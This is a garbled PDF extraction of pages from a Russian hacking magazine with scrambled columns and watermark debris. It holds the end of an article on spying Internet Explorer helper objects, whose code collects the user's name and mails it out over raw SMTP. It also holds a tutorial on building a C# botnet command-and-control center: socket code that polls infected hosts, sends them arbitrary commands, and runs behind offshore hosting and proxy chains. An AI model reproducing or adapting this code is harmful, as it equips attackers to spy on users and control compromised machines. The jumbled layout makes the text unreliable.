WshNetwork = theActiveX.GetObject()

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

char *MailMessage[] =

 

 

 

 

 

 

 

 

//получаем модифицированный объект

 

 

 

 

 

 

 

 

//show our window

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var userName=WshNetwork.UserName;

 

 

 

 

 

 

ShowWindow(m_hWnd, SW_SHOW);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"HELO SpyForm\r\n",

 

 

 

 

 

 

 

 

 

 

//получаем информацию о пользователе

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"MAIL FROM:<---->\r\n",

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

else

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// адрес отправителя

 

 

 

</script>

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"RCPT TO:<---->\r\n",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//hide our window

 

 

 

 

 

 

 

 

После загрузки странички приведенный скрипт

 

 

// адресок получателя

 

 

 

 

 

 

 

ShowWindow(m_hWnd, SW_HIDE);

 

 

 

 

 

 

 

 

нужно запускать спустя несколько секунд, посколь-

 

 

 

 

 

 

 

 

 

 

 

 

"DATA\r\n",

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ку объекту требуется время, чтобы активироваться:

 

 

 

 

 

 

 

 

 

 

 

 

"<&BugIE\r\n\r\n.\r\n",

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// тело сообщения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return S_OK;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"QUIT\r\n",

 

 

<script>setTimeout

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NULL

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

("modify()",1000);//запускаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Товарищам, которым понравился такой злокаче-

};

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модификацию CLSID после загрузки страницы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ственный вариант рекламы, прямая дорога в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

</script>

 

 

 

 

 

 

Ну а потом — через структуру smtp_address —

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MSDN, в раздел «Creating Custom Explorer Bars, To-

определяем структуру сервиса для оправки писем,

 

После модификации CLSID-объекта мы получаем

ol Bands, and Desk Bands» — там приводятся кон-

а также создаем сам коннект, который будет уже

 

новый объект с нужным нам CLSID, и браузер при

кретные примеры по созданию Bars & Bands.

по нашей информации отправлять письмо. Весь

 

этом не запрашивает подтверждения на запуск у

 

 

Если же программер является шутником или

код приводить мы тут не будем: его можно найти

 

пользователя!

просто великим врагом Internet Explorer, то для не-

на нашем компакт-диске.

 

 

 

 

 

 

 

 

 

даешь больше функций! Можно сказать, что

го у нас тоже припасен один пример.

 

 

 

 

 

горячая доставка пользователю. С основны-

у нас получился универсальный шпион, но ведь на

 

 

Если рассмотреть функцию IHTMLDocument2

ми моментами покончено. Только вопрос: а как же

свете существует еще много интересного! Посмо-

 

повнимательней, то можно найти в ней уйму инте-

злоумышленники доставляют продукт конечному

трим на функции, которые могут помочь в созда-

ресных методов, например, следующие: close, open,

пользователю? Здесь им помогают ActiveX-объек-

нии собственного BHO.

offline и, конечно же, write. С помощью этих нехи-

ты, которые представляющие собой небольшие

 

 

Как известно, многие веб-мастеры хотят, что-

трых функций плохой человек сможет сделать ра-

исполняемые модули, которые могут быть внедре-

бы их проект лицезрело большое количество лю-

боту в IE невозможной!

ны в документы. Такими документами являются,

дей… А что необходимо для раскрутки проекта? Ко-

 

 

The End. Вот и подошла к концу наша поэма

например, Word или Excel. В качестве документов-

нечно, помимо честных способов и финансирования

о BHO. Основываясь на этой статье и MSDN, ты

контейнеров могут служить также и web-страни-

различных добрых помощников. Наверное, BHO в

сможешь сделать то, о чем мечтал долгие годы —

цы, написанные на HTML. При отображении такой

этом тоже может помочь, ведь существует функция

простого и функционального помощника. Но учти,

страницы браузер предоставляет внедренному

для задания URL. Рассмотрим ее на примере.

что использовать его в противозаконных целях —

модулю ActiveX прямоугольную область на стра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

большое зло! Статья написана в образовательных

нице. В ней модуль может себя прорисовывать,

 

 

 

 

 

 

целях, так что мы не несем ответственности за лю-

 

//Используем уже знакомую нам функцию

 

 

 

взаимодействовать с пользователем, принимать и

 

IWebBrowser2

 

 

 

 

дей, которые любят совать нос в чужие дела!

выводить данные и т.д. Помимо визуальных Acti-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m_spWebBrowser->Navigate

 

 

 

 

 

 

 

 

 

 

 

 

 

 

veX-объектов существуют и невизуальные. Они слу-

 

 

 

 

 

 

 

http://msdn.microsoft.com/library/default.asp?url=/library/

 

(TEXT("http://www.offbit.1gb.ru")0,0,0,0)

 

 

 

 

жат главным образом для доступа к определенным

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

en-us/dnwebgen/html/bho.asp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

больше информации о технологии BHO

программным ресурсам машины или к данным

 

При условии грамотного использования BHO ком-

 

 

 

 

 

www.antichat.ru/activex

пользователя и операционной системы. В этом

 

пьютерный негодяй сможет провернуть по-настояще-

 

 

 

 

 

информация о зловредном ПО и технологии ActiveX

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПРОГРАММИРОВАНИЕ.

СЕКРЕТЫ

МАСТЕРСТВА

СКОРО В СПЕЦЕ:

В СЛЕДУЮЩЕМ НОМЕРЕ МЫ РАСКРОЕМ СЕКРЕТЫ: ОБРАБОТКИ БОЛЬШИХ ОБЪЕМОВ ДАННЫХ ИСКУССТВА СОСТАВЛЕНИЯ КОММЕНТАРИЕВ KERNEL-КОДИНГА

АРХИТЕКТУРЫ IBM PC С#

СКРИПТОВАНИЯ ПОД FLASH ПРОГРАММИРОВАНИЯ МИКРО-УСТРОЙСТВ РАБОТЫ В КОМАНДЕ

DELPHI 2006

WINDOWS VISTA

ВЗГЛЯД ИЗНУТРИ. ПОДРОБНЫЙ АНАЛИЗ НОВОЙ ОС ОТ MICROSOFT. НОВЕЙШИЕ ТЕХНОЛОГИИ. УДОБСТВО, БЫСТРОТА РАБОТЫ.

БЕЗОПАСНОСТЬ WINDOWS

АКТУАЛЬНЫЕ УЯЗВИМОСТИ WINDOWS. УНИВЕРСАЛЬНЫЕ ЭКСПЛОИТЫ. АТАКА ЧЕРЕЗ БРАУЗЕР. ПРОФЕССИОНАЛЬНОЕ БЕЗОПАСНОЕ УПРАВЛЕНИЕ СИСТЕМОЙ И СЕТЬЮ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

56

 

 

 

 

 

 

 

 

БОЕВОЕ

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

КРЕЩЕНИЕ СПЕЦ 09-06

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

äåòè

 

 

 

 

 

 

шпионов

УПРАВЛЕНИЕ БОТНЕТОМ

 

 

 

 

 

 

ПО-НОВОМУ

 

 

 

 

 

В РАЗЛИЧНЫХ ИЗДАНИЯХ ЧАСТО

 

 

 

 

РАССКАЗЫВАЮТ О ТОМ, КАК ХАКЕРЫ ПИШУТ

 

 

 

ПРОГРАММЫ ДЛЯ УГНЕТЕНИЯ НЕВИННЫХ

 

 

 

ПОЛЬЗОВАТЕЛЕЙ. ВО ВСЕХ ЭТИХ СТАТЬЯХ

 

 

 

ПОДРОБНО ОПИСЫВАЮТСЯ ФУНКЦИИ

 

 

 

ЗАРАЖЕНИЯ ФАЙЛОВ, РАБОТЫ

 

 

 

 

С ЗАРАЖЕННЫМ КОМПЬЮТЕРОМ, ИНОГДА

 

 

 

 

ДАЖЕ DDOS-АТАК, НО ДОВОЛЬНО РЕДКО

 

 

 

ВСТРЕЧАЮТСЯ СТАТЬИ, В КОТОРЫХ

 

 

 

ОПИСЫВАЮТСЯ ПРИНЦИПЫ УПРАВЛЕНИЯ

 

 

 

БОЛЬШИМ КОЛИЧЕСТВОМ БОТОВ. СЕГОДНЯ

 

 

 

МЫ УЗНАЕМ, КАК ПЛОХИЕ ПРОГРАММИСТЫ

 

 

 

 

ПИШУТ BOT CONTROL CENTER

 

 

 

 

 

 

 

 

 

 

 

Дроздов Андрей aka Sulverus,

 

 

 

 

 

 

 

 

 

 

sulverus@mail.ru (Offbit Security Team)

 

 

что должна уметь подобная система? Есте-

 

 

 

 

 

 

ственно, главной функцией такого рода программ

 

 

 

 

 

 

является массовое отправление команд ботам, но,

 

 

 

 

 

 

на самом деле, этого мало: не менее важной функ-

 

 

 

 

 

 

запно не пропадет, поэтому лучшим решением, на

кодим. Возможно, многие стали бы решать

 

цией является способность определить, какие боты

 

в настоящий момент времени находятся в онлайне,

мой взгляд, является создание скрипта, который

подобную задачу на perle'e или php, но я огненный

 

а какие — в оффлайне. Также, если троян много-

можно будет разместить на каком-нибудь забугор-

поклонник всеобщего прогресса, поэтому буду ис-

функциональный: умеет похищать пароли, емейлы,

ном хостинге. Также, если хакер не хочет лишний

пользовать С#. Для создания веб-сервиса мы бу-

работать с файлами на зараженном компьютере

раз светиться, то из соображений безопасности бы-

дем использовать платформу ASP.NET, благода-

и т.д., то у хакера должна быть возможность об-

ло бы вполне рационально написать веб-сервис,

ря которой можно создавать C# веб-проекты.

щаться с каждым ботом в отдельности. Если control

который бы находился в другом месте и непосред-

Организуем новый ASP.NET Web Site с под-

center будет находиться на компьютере у хакера, то

ственно проверял количество ботов в сети. И, нако-

держкой C# и начинаем кодить. Для работы с

уровень безопасности заметно снизится, поэтому

нец, надо написать программу, через которую ха-

ASP.NET обычно используется пространство имен

логично разместить его где-нибудь подальше. Не-

кер будет соединяться с веб-сервисом для провер-

System.Web. Нам понадобятся классы UI, WebCon-

которые предпочтут разместить такую систему на

ки своего ботнета. Для большей безопасности ло-

trols, WebControls.WebParts, HtmlControls. Åñëè ìû

линуксовом шелле, но для этого надо иметь хоро-

гично использовать цепь проксей. В общем, хватит

захотим запаролить (а мы, скорее всего, захотим),

ший шелл и еще 100% гарантию того, что он вне-

разговоров — приступим к практике!

то необходимо будет использовать класс Sy-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

57

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тестируем веб-сервис для проверки связи Пишем систему контроля ботами

 

сообщения «привет», а бот, если он в онлайне,

 

щений не из первого ListBox'a, а из второго, и сла-

 

 

получив такое сообщение, должен будет ответить

 

ла не слово «привет», а любую команду — для это-

 

 

«о’кей». Таким образом, будет происходить иден-

 

го надо просто поменять строку на:

 

 

тификация активных ботов в сети. После полу-

 

 

 

 

 

 

 

ченных сообщений программа должна в удобном

 

 

 

 

 

 

 

string msg = TextBox1.Text;

 

 

 

 

 

виде представить хакеру список активных ботов,

 

 

 

 

 

 

 

byte[] msg2 = Encoding.ASCII.GetBytes(msg);

 

 

например в компонент ListBox. Значит, в интер-

 

 

 

 

 

 

 

фейс мы добавим два листбокса: в первый мы бу-

 

Теперь, когда мы можем полноценно разговари-

 

 

дем выводить список всех ботов, а в другой —

 

вать с ботами, надо подготовить наш скрипт для

 

 

только активных. Теперь напишем функцию, ко-

 

экспорта в интернет и откомпилироваться.

 

 

торая все это будет совершать.

 

готовим на экспорт. Во-первых, нам нужно

 

 

 

Кроме вышеупомянутых пространств имен,

подправить web.config, чтобы наш скрипт работал

 

 

нам еще потребуется пространство System.Text для

на хостинге. Для этого нужно заменить

 

 

конвертирования типов, а именно: нам нужно будет

 

 

 

 

 

 

 

преобразовать тип данных string в int. Для этого есть

 

 

 

 

 

 

<authentication mode="Windows"/>

 

 

 

класс Convert, в котором есть большой набор функ-

на строку

 

 

 

 

 

ций для конвертирования из всего во все. Сперва

 

 

 

 

 

 

 

 

 

 

 

 

переведем количество IP-адресов в тип данных int:

 

 

 

 

 

<authentication mode="Off"/>,

 

 

 

 

 

 

 

 

 

 

 

или просто закомментировать, но делать это нуж-

 

 

 

string items =

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но не в блокноте, а именно в студии, чтобы потом

 

 

 

ListBox1.Items.Count.ToString();

 

 

 

 

 

 

 

 

 

 

не было глюков.

 

 

 

int itm = Convert.ToInt32(items);

 

 

 

 

 

 

 

 

 

 

 

После таких нехитрых действий компилиру-

 

 

А теперь таким же образом переведем номер

 

емся и заливаем наш скрипт на хостинг. Теперь

 

 

порта в int:

 

можно работать.

 

 

 

 

 

 

 

 

 

 

Vista Style. Иногда бывает ситуация, когда

 

 

 

 

 

 

нежелательно залезать в сам центр по тем или

 

 

 

string BOTport = TextBox4.Text;

 

 

 

 

 

 

 

иным причинам, а узнать, сколько ботов в данный

 

 

 

int prt = Convert.ToInt32(BOTport);

 

 

 

 

 

 

 

 

 

 

 

момент находится в сети, необходимо. Что делать

 

 

После таких преобразований мы можем написать

 

в подобном случае? Есть много способов решения

 

stem.Web.Security. Для начала определимся с ин-

цикл для проверки связи (смотрим соответствую-

подобной проблемы, но самым удобным, на мой

 

терфейсом: он должен быть прост и понятен, а со-

щую врезку).

 

взгляд, является удаленный разговор с центром

 

держать он должен форму для отправки команд бо-

 

В принципе, все довольно понятно: органи-

 

управления ботами. Такая тактика общения с цен-

 

там, форму для проверки активности ботов, форму

зуется цикл, в котором создается сокет, а потом

тром хороша из соображений безопасности. На-

 

для общения с одним ботом. Можно еще сделать

идет попытка соединения с ботом. Для этого мы

 

 

 

 

 

 

форму с настройками. Кроме разных форм, обяза-

регистрируем переменные типа IPHostEntry, IPAd-

 

 

 

 

 

 

тельно должен быть текстовый контейнер, в кото-

ress, IPEndPoint, затем создаем сокет, использую-

 

 

 

 

 

 

ром будут отображаться сообщения ботов.

щий протокол TCP, далее центр отправляет боту

 

 

 

 

 

 

привет — о’кей. С интерфейсом разобра-

сообщение «привет», предварительно подготовив

 

 

 

 

 

 

лись, теперь перейдем к сетевым функциям. Что-

массив байтов методом Encoding.ASCII.GetBy-

 

 

 

 

 

 

бы работать с сокетами, нам понадобятся про-

tes(msg). Если программа получает «», то она счи-

 

 

 

 

 

 

странства имен System.Net и System.Net.Sockets.

тает, что бот активный. В конце цикла мы закры-

 

 

 

 

 

 

Прежде чем командовать ботами, необходимо про-

ваем сокет методом Socket.Shutdown() и Soc-

 

 

 

 

 

 

верить, сколько ботов в данный момент в сети.

ket.Close(). Теперь необходимо написать функ-

 

 

 

 

 

 

Для этого надо научить бота здороваться с кон-

цию, которая будет отправлять команды активным

 

 

 

 

 

 

трол-центром. Например, когда хакер будет на-

ботам. Она, собственно, у нас уже написана — ее

 

 

 

 

 

 

жимать кнопку «проверить связь», программа бу-

надо только немного подкорректировать: нужно,

 

 

 

 

 

 

дет рассылать по всем зараженным IP-адресам

чтобы функция брала IP-адрес для отправки сооб-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Командуем ботами...

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

58

 

 

 

 

 

 

 

 

БОЕВОЕ

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

КРЕЩЕНИЕ СПЕЦ 09-06

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

цикл проверки связи

 

 

(1)

stem.Net.Sockets, а также пространство имен Sy-

 

for (i = 0; i < itm; i++)

 

stem.Text для конвертирования из байтов в ASCII,

{

 

 

 

и обратно. Надо условиться, что когда клиент де-

 

ListBox1.SelectedIndex = i;

 

лает запрос к сервису, то сервис получает данные

 

IPHostEntry host = Dns.Resolve(ListBox1.SelectedItem.Text);

о боте и выводит или его IP-адрес, если бот в он-

//работаем с сокетами

 

 

лайне, или, если бот не активен, выводит фразу на

 

 

 

 

 

языке ботов: BINAN(Bot Is Not Available Now). Те-

 

IPAddress ip = host.AddressList[0];

 

перь надо создать строку, в которую мы будем все

 

//обьявляем переменные

 

это возвращать, и дописать туда код для проверки

 

 

 

 

 

связи — для этого нужно просто взять кусок кода

 

IPEndPoint ep = new IPEndPoint(ip, prt);

 

из ранее написанного нами скрипта для работы с

 

 

 

 

 

ботами и немного дописать его:

 

Socket client_sock = new Socket(AddressFamily.InterNetwork,

 

 

 

 

 

 

 

 

 

 

 

 

SocketType.Stream, ProtocolType.Tcp);

 

cоздаем функцию для сервиса

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[WebMethod]

 

 

 

 

 

 

 

 

 

try

 

 

 

 

 

 

 

 

 

 

 

 

public string ActiveBots(string ip,

 

{

 

 

 

string port)

 

 

 

 

 

 

client_sock.Connect(ep);

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

try

 

 

 

 

 

 

 

string msg = "privet"; //ПРИВЕТ:)

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

byte[] msg2 = Encoding.ASCII.GetBytes(msg); //перекодируем ее в байты

 

 

 

 

 

 

 

 

int prt = Convert.ToInt32(port);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//òîò æå êîä

 

 

 

 

 

int send_msg = client_sock.Send(msg2);

 

 

 

 

 

 

 

return ip;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

byte[] data = new byte[1024];

 

 

 

 

 

 

catch(...)

 

 

 

 

int recv = client_sock.Receive(data);

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

port = "BINAN";

 

 

ListBox2.Items.Add(ip.ToString());

 

 

 

 

 

 

return port;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

client_sock.Shutdown(SocketShutdown.Both); //закрываем сокет

 

 

 

 

 

 

 

 

 

 

 

 

client_sock.Close();

 

Рассмотрим все выше написанное. В начале мы

}

 

 

 

регистрируем строковый тип данных, затем полу-

 

catch (SocketException Sock)

 

чаем IP-адрес и порт бота, к которому нам надо со-

{

 

 

 

единиться. Далее мы используем новую возмож-

 

TextBox7.Text = Sock.ToString();

 

ность технологии .NET, конвертируя строку в int,

}

 

 

 

используя метод ToInt32() класса Convert. В случае

}

 

 

 

удачного соединения мы выводим IP-адрес бота,

 

 

 

 

 

причем не в виде текста, а в виде xml-кода. При не-

 

 

 

 

 

удачной попытке соединения мы присваиваем пе-

 

 

 

 

 

ременной порт — значение BINAN и выводим его в

 

 

 

 

 

xml. Вот и все. Настало время написать клиента к

пример, если хакер будет соединяться с центром

На самом деле, это простой скрипт, с которым

этому сервису.

через цепочку проксей, и не на прямую, а с под-

можно работать не напрямую, а обращаясь к нему

 

 

пишем клиента. Что должен уметь клиент?

ключением к веб-службе, которая может нахо-

по http-протоколу из какого-либо приложения

Уметь соединяться с веб-службой и спрашивать

диться на другом конце мира. Приступим к напи-

(обычной программы или другого скрипта). Веб-

ее при помощи http-запросов, есть ли бот в онлай-

санию всего этого хозяйства. Для начала нам надо

сервисы используют пространства имен Sy-

не. Поскольку клиент будет располагаться на ком-

создать новый проект типа ASP.NET Web Service.

stem.Web.Services, System.Web.Services.Protocols,

пьютере у хакера, то тут мы вольны в своих жела-

Что собой представляет данное нововведение?

System.Web.Services.Description è System.Web.Ser-

ниях — можно сделать интерфейс а-ля мейл-агент.

 

 

 

 

vices.Discovery. Во втором пространстве имен

Например, программа будет сидеть в трее, а как

 

 

 

 

обозначены типы для работы с протоколами, по

только пройдет проверка на количество ботов —

 

 

 

 

которым будут обмениваться данными веб-служ-

появится всплывающая подсказка со статистикой

 

 

 

 

ба со своим клиентом. Веб-служба может исполь-

ботнета. Создаем еще один проект в студии, вы-

 

 

 

 

зовать HTTP GET/POST и SOAP. Мы будем ис-

бираем Windows Application. Теперь надо зареги-

 

 

 

 

пользовать HTTP. Создав проект, мы видим C#

стрировать в проекте наш веб-сервис, чтобы мы

 

 

 

 

код, в котором встречаются строки [WebMethod] —

могли к нему обращаться. Для этого нужно зайти в

 

 

 

 

нетрудно догадаться, что так обозначаются функ-

Solution Explorer, щелкнуть правой клавишей по

 

 

 

 

ции, которыми будет обладать сервис. Для наших

проекту и выбрать Add Web Reference. Теперь на-

 

 

 

 

целей достаточно написать функцию для провер-

до вставить туда адрес нашего веб-сервиса и при-

 

 

 

 

ки связи с ботами, и, чтобы это реализовать, в

ступать к программированию клиента. Если ты

 

 

 

 

сервисе мы должны использовать уже известные

все правильно сделал, то в коде должна появиться

 

 

 

 

нам пространства имен, а именно: System.Net, Sy-

строка: using localhost. Или вместо localhost — лю-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Работаем с сервисом через клиент